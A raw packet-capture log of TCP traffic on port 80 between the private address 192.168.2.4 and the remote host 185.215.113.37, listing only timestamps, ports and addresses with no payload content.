Oct 13, 2024 11:54:14.457014084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457062960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457065105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457098961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457113028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457132101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457144976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457169056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457180977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457202911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457220078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457236052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457251072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457269907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457284927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457323074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457339048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457381964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457396030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457434893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457452059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457468033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457484007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457500935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457551956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457587004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457600117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457600117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457619905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457653999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457659006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457688093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457706928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457721949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457747936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457747936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457776070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457777023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457828999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457873106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457907915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457907915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457941055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457942009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.457974911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.457993984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458013058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458025932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458076954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458111048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458113909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458113909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458143950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458178043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458182096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458194017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458208084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458223104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458240986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458247900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458259106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458275080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458291054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458307028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458331108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458340883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458359003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458374977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458395958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458409071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458429098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458441019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458460093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458475113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458501101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458508015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458525896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458616972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458653927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458688021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458722115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458744049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458754063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458774090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458801985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458808899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458843946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458863020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458878040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458892107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458911896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.458928108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458960056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.458967924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459001064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459018946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459033966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459050894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459068060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459080935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459104061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459120035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459136963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459150076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459171057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459203005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459223986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459237099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459254026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459270000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459286928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459304094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459320068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459337950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459353924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459413052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459429026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459459066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459485054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459491968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459525108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459552050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459552050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459558010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459594011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459604025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459604025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459629059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459644079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459661961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459680080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459696054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459709883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459729910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459743977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459764004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459778070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459798098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459810972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459834099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459855080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459867954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459887028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459902048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459918022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459934950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459950924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.459969044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.459990025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460002899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460017920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460038900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460051060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460073948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460088968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460108995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460122108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460143089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460158110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460175991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460191965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460210085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460226059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460243940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460261106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460277081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460297108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460309982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460326910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460342884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460354090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460376978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460390091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460412979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460426092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460444927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460459948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460479975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460499048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460513115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460530996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460547924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460561037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460582972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460596085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460618019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460632086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460652113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460664988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460685968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460699081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460721016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.460732937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.460768938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.548906088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.548954010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.548991919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549027920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549084902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549137115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549146891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549148083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549148083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549176931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549215078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549215078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549230099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549233913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549264908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549280882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549299955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549314022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549345016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549352884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549400091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549407959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549463034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549469948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549506903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549539089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549540043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549560070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549575090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549591064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549608946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549621105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549655914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549669981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549712896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549721003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549755096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549783945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549789906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549823046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549823999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549834967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549876928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549885988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549911022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549928904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549946070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549952984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.549979925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.549993992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550014019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550024986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550048113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550061941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550082922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550091982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550117016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550137043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550151110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550163984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550184011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550194979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550218105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550229073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550252914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550265074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550287008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550297976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550316095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550337076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550360918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550369978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550405979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550419092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550451040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550457954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550503969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550509930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550542116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550555944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550576925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550586939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550621033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550631046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550666094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550679922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550698042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550712109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550733089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550755024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550776958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550782919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550827026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550842047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550945044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.550951004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.550997019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551004887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551048994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551059008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551093102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551105976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551136971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551143885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551178932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551192045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551213980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551223040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551248074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551278114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551281929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551296949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551317930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551351070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551364899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551398039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551414967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551462889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551471949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551506042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551517963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551541090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551561117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551577091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551589012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551610947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551628113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551646948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551659107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551680088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551692009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551717997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551732063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551750898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551763058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551786900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551798105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:14.551820040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:14.551834106 CEST	49730	80	192.168.2.4	185.215.113.37
